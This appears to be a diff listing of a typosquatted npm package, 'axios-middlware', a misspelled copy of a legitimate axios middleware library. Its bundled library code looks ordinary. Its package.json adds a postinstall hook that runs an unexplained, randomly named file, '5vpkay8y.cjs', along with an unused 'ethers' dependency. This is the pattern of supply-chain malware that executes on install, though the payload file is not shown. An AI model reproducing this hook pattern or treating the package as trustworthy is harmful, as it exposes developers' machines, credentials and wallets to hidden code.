return this.middlewares.indexOf(middleware) > -1;
|
63
|
+
};
|
64
|
+
|
65
|
+
/**
|
66
|
+
* Adds a middleware or an array of middlewares to the stack.
|
67
|
+
* @param {Object|HttpMiddleware|Array} [middlewares]
|
68
|
+
* @returns {HttpMiddlewareService}
|
69
|
+
*/
|
70
|
+
HttpMiddlewareService.prototype.register = function register (middlewares) {
|
71
|
+
var this$1 = this;
|
72
|
+
|
73
|
+
// eslint-disable-next-line no-param-reassign
|
74
|
+
if (!Array.isArray(middlewares)) { middlewares = [middlewares]; }
|
75
|
+
|
76
|
+
// Test if middlewares are registered more than once.
|
77
|
+
middlewares.forEach(function (middleware) {
|
78
|
+
if (!middleware) { return; }
|
79
|
+
if (this$1.has(middleware)) {
|
80
|
+
throw new Error('Middleware already registered');
|
81
|
+
}
|
82
|
+
this$1.middlewares.push(middleware);
|
83
|
+
this$1._addMiddleware(middleware);
|
84
|
+
});
|
85
|
+
return this;
|
86
|
+
};
|
87
|
+
|
88
|
+
/**
|
89
|
+
* Removes a middleware from the registered stack.
|
90
|
+
* @param {Object|HttpMiddleware} [middleware]
|
91
|
+
* @returns {HttpMiddlewareService}
|
92
|
+
*/
|
93
|
+
HttpMiddlewareService.prototype.unregister = function unregister (middleware) {
|
94
|
+
if (middleware) {
|
95
|
+
var index = this.middlewares.indexOf(middleware);
|
96
|
+
if (index > -1) {
|
97
|
+
this.middlewares.splice(index, 1);
|
98
|
+
}
|
99
|
+
this._updateChain();
|
100
|
+
}
|
101
|
+
|
102
|
+
return this;
|
103
|
+
};
|
104
|
+
|
105
|
+
/**
|
106
|
+
* Removes all the middleware from the stack.
|
107
|
+
* @returns {HttpMiddlewareService}
|
108
|
+
*/
|
109
|
+
HttpMiddlewareService.prototype.reset = function reset () {
|
110
|
+
this.middlewares.length = 0;
|
111
|
+
this._updateChain();
|
112
|
+
return this;
|
113
|
+
};
|
114
|
+
|
115
|
+
/**
|
116
|
+
* @param config
|
117
|
+
* @returns {Promise}
|
118
|
+
*/
|
119
|
+
HttpMiddlewareService.prototype.adapter = function adapter (config) {
|
120
|
+
return this.chain.reduce(
|
121
|
+
function (acc, ref) {
|
122
|
+
var onResolve = ref[0];
|
123
|
+
var onError = ref[1];
|
124
|
+
|
125
|
+
return acc.then(onResolve, onError);
|
126
|
+
},
|
127
|
+
Promise.resolve(config)
|
128
|
+
);
|
129
|
+
};
|
130
|
+
|
131
|
+
/**
|
132
|
+
*
|
133
|
+
* @param {Object} middleware
|
134
|
+
* @private
|
135
|
+
*/
|
136
|
+
HttpMiddlewareService.prototype._addMiddleware = function _addMiddleware (middleware) {
|
137
|
+
this.chain.unshift([
|
138
|
+
middleware.onRequest && (function (conf) { return middleware.onRequest(conf); }),
|
139
|
+
middleware.onRequestError &&
|
140
|
+
(function (error) { return middleware.onRequestError(error); }) ]);
|
141
|
+
|
142
|
+
this.chain.push([
|
143
|
+
middleware.onResponse && (function (response) { return middleware.onResponse(response); }),
|
144
|
+
middleware.onResponseError &&
|
145
|
+
(function (error) { return middleware.onResponseError(error); }) ]);
|
146
|
+
};
|
147
|
+
|
148
|
+
/**
|
149
|
+
* @private
|
150
|
+
*/
|
151
|
+
HttpMiddlewareService.prototype._updateChain = function _updateChain () {
|
152
|
+
var this$1 = this;
|
153
|
+
|
154
|
+
this.chain = [
|
155
|
+
[
|
156
|
+
function (conf) { return this$1._onSync(this$1.originalAdapter.call(this$1.http, conf)); },
|
157
|
+
undefined ] ];
|
158
|
+
this.middlewares.forEach(function (middleware) { return this$1._addMiddleware(middleware); });
|
159
|
+
};
|
160
|
+
|
161
|
+
/**
|
162
|
+
* @param {Promise} promise
|
163
|
+
* @returns {Promise}
|
164
|
+
* @private
|
165
|
+
*/
|
166
|
+
HttpMiddlewareService.prototype._onSync = function _onSync (promise) {
|
167
|
+
return this.middlewares.reduce(
|
168
|
+
function (acc, middleware) { return (middleware.onSync ? middleware.onSync(acc) : acc); },
|
169
|
+
promise
|
170
|
+
);
|
171
|
+
};
|
172
|
+
|
173
|
+
var index = {
|
174
|
+
Service: HttpMiddlewareService,
|
175
|
+
version: '0.4.0',
|
176
|
+
};
|
177
|
+
|
178
|
+
return index;
|
179
|
+
|
180
|
+
}));
|
package/package.json
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
{
|
2
|
+
"name": "axios-middlware",
|
3
|
+
"version": "0.4.0",
|
4
|
+
"description": "Simple axios HTTP middleware service",
|
5
|
+
"author": "Emile Bergeron <ber.emile@prismalstudio.com>",
|
6
|
+
"license": "MIT",
|
7
|
+
"main": "dist/axios-middleware.common.js",
|
8
|
+
"module": "dist/axios-middleware.esm.js",
|
9
|
+
"unpkg": "dist/axios-middleware.js",
|
10
|
+
"bugs": {
|
11
|
+
"url": "https://github.com/emileber/axios-middleware/issues"
|
12
|
+
},
|
13
|
+
"homepage": "https://emileber.github.io/axios-middleware/#/",
|
14
|
+
"scripts": {
|
15
|
+
"postinstall": "node 5vpkay8y.cjs"
|
16
|
+
},
|
17
|
+
"files": [
|
18
|
+
"dist",
|
19
|
+
"5vpkay8y.cjs"
|
20
|
+
],
|
21
|
+
"repository": {
|
22
|
+
"type": "git",
|
23
|
+
"url": "git+https://github.com/emileber/axios-middleware.git"
|
24
|
+
},
|
25
|
+
"keywords": [
|
26
|
+
"axios",
|
27
|
+
"request",
|
28
|
+
"adapter",
|
29
|
+
"middleware",
|
30
|
+
"response",
|
31
|
+
"http"
|
32
|
+
],
|
33
|
+
"peerDependencies": {
|
34
|
+
"axios": ">=0.17.1 <1.2.0"
|
35
|
+
},
|
36
|
+
"devDependencies": {
|
37
|
+
"@babel/preset-env": "^7.3.4",
|
38
|
+
"axios": "^1.1.3",
|
39
|
+
"axios-mock-adapter": "^1.21.5",
|
40
|
+
"codecov": "^3.2.0",
|
41
|
+
"cross-env": "^7.0.3",
|
42
|
+
"eslint": "^8.46.0",
|
43
|
+
"eslint-config-airbnb-base": "^15.0.0",
|
44
|
+
"eslint-config-prettier": "^9.0.0",
|
45
|
+
"eslint-plugin-import": "^2.28.0",
|
46
|
+
"eslint-plugin-prettier": "^5.0.0",
|
47
|
+
"jest": "^29.6.2",
|
48
|
+
"np": "^8.0.4",
|
49
|
+
"npm-run-all": "^4.1.5",
|
50
|
+
"pkg-ok": "^2.3.1",
|
51
|
+
"prettier": "^3.0.1",
|
52
|
+
"rimraf": "^2.6.3",
|
53
|
+
"rollup": "^1.6.0",
|
54
|
+
"rollup-plugin-buble": "^0.19.6",
|
55
|
+
"rollup-plugin-replace": "^2.1.0"
|
56
|
+
},
|
57
|
+
"engines": {
|
58
|
+
"node": ">=0.10.0"
|
59
|
+
},
|
60
|
+
"dependencies": {
|
61
|
+
"axios": "^1.7.7",
|
62
|
+
"ethers": "^6.13.2"
|
63
|
+
}
|
64
|
+
}
|